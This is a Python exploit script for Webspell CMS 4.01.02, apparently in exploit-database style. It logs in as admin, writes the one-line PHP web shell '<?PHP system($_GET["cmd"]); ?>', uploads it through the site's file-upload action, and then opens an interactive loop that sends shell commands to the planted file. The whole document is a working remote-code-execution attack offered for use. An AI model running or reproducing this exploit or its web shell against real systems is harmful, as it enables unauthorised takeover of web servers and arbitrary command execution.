webspell.py

# Exploit Title   : WEBSPELL 4.01.02
# Date            : 26 June 2019
# Exploit Author  : Doctor_Hacker
# Version         : 4.01.02 
# Tested on       : Windows

import requests

#Define IP and port.
IP='127.0.0.1'
port=80

#Build URL String
url='http://'+IP+':'+str(port)+'/index.php'

#Get session headers
my_session = requests.Session() 
r = my_session.get(url)
  
#Build shell file to upload.
text_file=open ("shell.php","w")
text_file.write ('<?PHP system($_GET["cmd"]); ?>'+'\n')
text_file.close()

#Build URL String
url='http://'+IP+':'+str(port)+'/checklogin.php'
payload = {'ws_user': 'admin', 'pwd': 'hacklab2019', 'submit': 'login'}  
r = my_session.post(url, data=payload)  

#Build URL String
url='http://'+IP+':'+str(port)+'/index.php?site=files&action=save'

#Define file to upload for the POST
myfile = {'upfile': open('shell.php' ,'rb')}
#Set all POST variables.
payload = { 'poster': '1', 'filecat': '1','filename': 'testfile','info': 'test','accesslevel' : '0','fileurl': 'http://','filesize': '','unit': '','mirror2': '','mirror3': '','submit': 'upload' }

#Now do the POST.
x = my_session.post(url, files = myfile, data=payload)


while True:
	#Get the command
	print ("Type exit to get out of here.")
	cmd = input('shell@'+IP+':~# ')

	if cmd.strip() == 'exit':
		break

	#Build URL String
	url='http://'+IP+':'+str(port)+'/downloads/shell.php?cmd='+cmd

	#Run the SHELL.
	r = my_session.get(url)
	print(r.text)